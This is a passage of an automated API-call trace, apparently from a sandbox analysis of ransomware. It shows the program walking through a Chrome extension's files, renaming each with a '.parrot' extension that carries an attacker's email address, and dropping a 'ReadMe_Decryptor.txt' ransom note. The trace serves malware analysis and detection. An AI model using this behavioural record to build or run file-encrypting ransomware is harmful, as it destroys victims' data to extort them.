(HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d9ab0 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69ad98 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x69aa68 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9ab0 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d9ab0 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69aa68 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x68d248 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9ab0 | out: hHeap=0x5b0000) returned 1 [0069.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0069.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68d248 | out: hHeap=0x5b0000) returned 1 [0069.753] WriteFile (in: hFile=0x27c, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18e024*=0xe68, lpOverlapped=0x0) returned 1 [0069.754] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0069.754] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe66, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.754] CloseHandle (hObject=0x27c) returned 1 [0069.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9148 [0069.755] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x692268 [0069.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9148 | out: hHeap=0x5b0000) returned 1 [0069.755] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x692268 | out: hHeap=0x5b0000) returned 1 [0069.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x698fa8 | out: hHeap=0x5b0000) returned 1 [0069.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x5d9148 [0069.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d9ab0 [0069.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0069.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0069.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0069.757] GetFileType (hFile=0x27c) returned 0x1 [0069.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0069.767] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.767] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.767] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0069.769] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.769] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x2d8, lpOverlapped=0x0) returned 1 [0069.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0069.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0069.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0069.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0069.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0069.769] GetLastError () returned 0x0 [0069.769] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0069.769] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0069.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0069.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0069.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0069.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0069.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0069.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0069.770] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0069.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0069.770] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.770] CloseHandle (hObject=0x27c) returned 1 [0069.770] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da068 | out: hHeap=0x5b0000) returned 1 [0069.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9ab0 | out: hHeap=0x5b0000) returned 1 [0069.772] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0069.774] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.774] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.775] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.775] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.775] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0069.775] lstrcmpW (lpString1="ar", lpString2=".") returned 1 [0069.775] lstrcmpW (lpString1="ar", lpString2="..") returned 1 [0069.775] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.775] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.775] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.777] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.777] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.777] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.777] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.777] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.778] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.778] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.778] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.779] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.779] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.779] CloseHandle (hObject=0x28c) returned 1 [0069.779] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da0b0 | out: hHeap=0x5b0000) returned 1 [0069.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9df0 | out: hHeap=0x5b0000) returned 1 [0069.829] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.829] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb71b3ac0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb71b3ac0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.829] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb711b540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.829] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.864] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.864] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.864] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.864] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.864] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.864] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.864] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.864] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.865] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.865] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.866] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.866] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.866] CloseHandle (hObject=0x1fc) returned 1 [0069.866] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.867] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.867] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.867] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.868] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.868] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb71ffd80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb71ffd80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.868] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb71ffd80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.869] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.869] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.869] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.869] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.869] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.869] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.869] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.869] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.869] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.870] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.870] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.871] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.871] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.871] CloseHandle (hObject=0x1fc) returned 1 [0069.871] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 